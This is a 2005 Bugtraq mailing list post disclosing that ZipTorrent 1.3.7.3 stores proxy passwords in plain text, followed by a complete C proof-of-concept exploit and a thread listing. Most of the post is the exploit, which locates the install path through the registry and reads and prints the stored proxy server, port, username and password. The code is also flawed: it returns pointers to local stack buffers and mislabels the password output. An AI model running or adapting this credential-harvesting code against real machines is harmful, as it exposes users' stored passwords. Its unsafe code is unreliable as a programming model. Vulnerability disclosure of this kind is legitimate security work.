Bugtraq mailing list archives
ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users
From: kozan () spyinstructors com
Date: 23 Aug 2005 13:21:23 -0000
/*================================================================ ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan Discovered & Coded by Kozan Credits to ATmaCA Web: www.spyinstructors.com Mail: kozan () spyinstructors com Application: -------------------- ZipTorrent 1.3.7.3 (and probably prior versions) Vendor: www.ziptorrent.com Introduction: -------------------- ZipTorrent is the fastest BitTorrent client for Windows with the most features, such as Search om Major search engines an RSS reader, IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update, Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard that helps you through the installation process. Bug: -------------------- ZipTorrent stores proxy server information and password in X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt in plain text. A local user can read passwords and others. Vendor Confirmed: -------------------- No Fix: -------------------- There is no solution at the time of this entry. ================================================================*/ #include <stdio.h> #include <windows.h> int GetOffset(char *FilePath, char *Str) { char kr; int Sayac=0; int Offset=-1; FILE *di; if( (di=fopen(FilePath,"rb")) == NULL ) { fclose(di); return -1; } while(!feof(di)) { Sayac++; for(int i=0;i<strlen(Str);i++) { kr=getc(di); if(kr != Str[i]) { if( i>0 ) fseek(di,Sayac+1,SEEK_SET); break; } if( i > ( strlen(Str)-2 ) ) { Offset = ftell(di)-strlen(Str); fclose(di); return Offset; } } } fclose(di); return -1; } char *ReadString(char *FilePath, char *Str) { FILE *di; char cr; int i=0; char Feature[500]; int Offset = GetOffset(FilePath,Str); if( Offset == -1 ) return NULL; if( (di=fopen(FilePath,"rb")) == NULL ) return NULL; fseek(di,Offset+strlen(Str),SEEK_SET); while(!feof(di)) { cr=getc(di); if(cr == 0x0D) break; Feature[i] = cr; i++; } Feature[i] = '\0'; fclose(di); return Feature; } char *GetZipTorrentPath() { HKEY hKey; char szZipTorrentPath[MAX_PATH]; DWORD dwBufLen = MAX_PATH; LONG lRet; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\ZipTorrent", 0, KEY_QUERY_VALUE, &hKey ) == ERROR_SUCCESS) { lRet = RegQueryValueEx( hKey, "Install_Dir", NULL, NULL, (LPBYTE) szZipTorrentPath, &dwBufLen); if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) ) { RegCloseKey(hKey); return NULL; } RegCloseKey(hKey); return szZipTorrentPath; } return NULL; } int main() { char szPwdFile[MAX_PATH]; char szServer[255], szPort[255], szUsername[255], szPassword[255]; bool bInstalled; if( GetZipTorrentPath() == NULL ) bInstalled = false; else { bInstalled = true; strcpy(szPwdFile, GetZipTorrentPath()); strcat(szPwdFile, "\\pref.txt"); strcpy(szServer, ReadString(szPwdFile, "proxy_ip | ")); strcpy(szPort, ReadString(szPwdFile, "proxy_port | ")); strcpy(szUsername, ReadString(szPwdFile, "proxy_username | ")); strcpy(szPassword, ReadString(szPwdFile, "proxy_password | ")); } fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan\n"); fprintf(stdout, "Credits to ATmaCA\n"); fprintf(stdout, "Web: www.spyinstructors.com \n"); fprintf(stdout, "Mail: kozan () spyinstructors com \n\n"); if( !bInstalled ) { fprintf(stderr, "ZipTorrent is not installed on your pc!\n"); return -1; } fprintf(stdout, "Proxy Server\t: \t%s\n", szServer); fprintf(stdout, "Proxy Port\t: \t%s\n", szPort); fprintf(stdout, "Proxy Username\t: \t%s\n", szUsername); fprintf(stdout, "Proxy Username\t: \t%s\n", szPassword); return 0; }
Current thread:
- ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users kozan (Aug 23)
- Re: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users Allen Parker (Aug 24)
- Re: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users Nick Boyce (Aug 25)
- Re: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users Nicholas Knight (Aug 27)
- Re: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users Nick Boyce (Aug 25)
- Re: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users Allen Parker (Aug 24)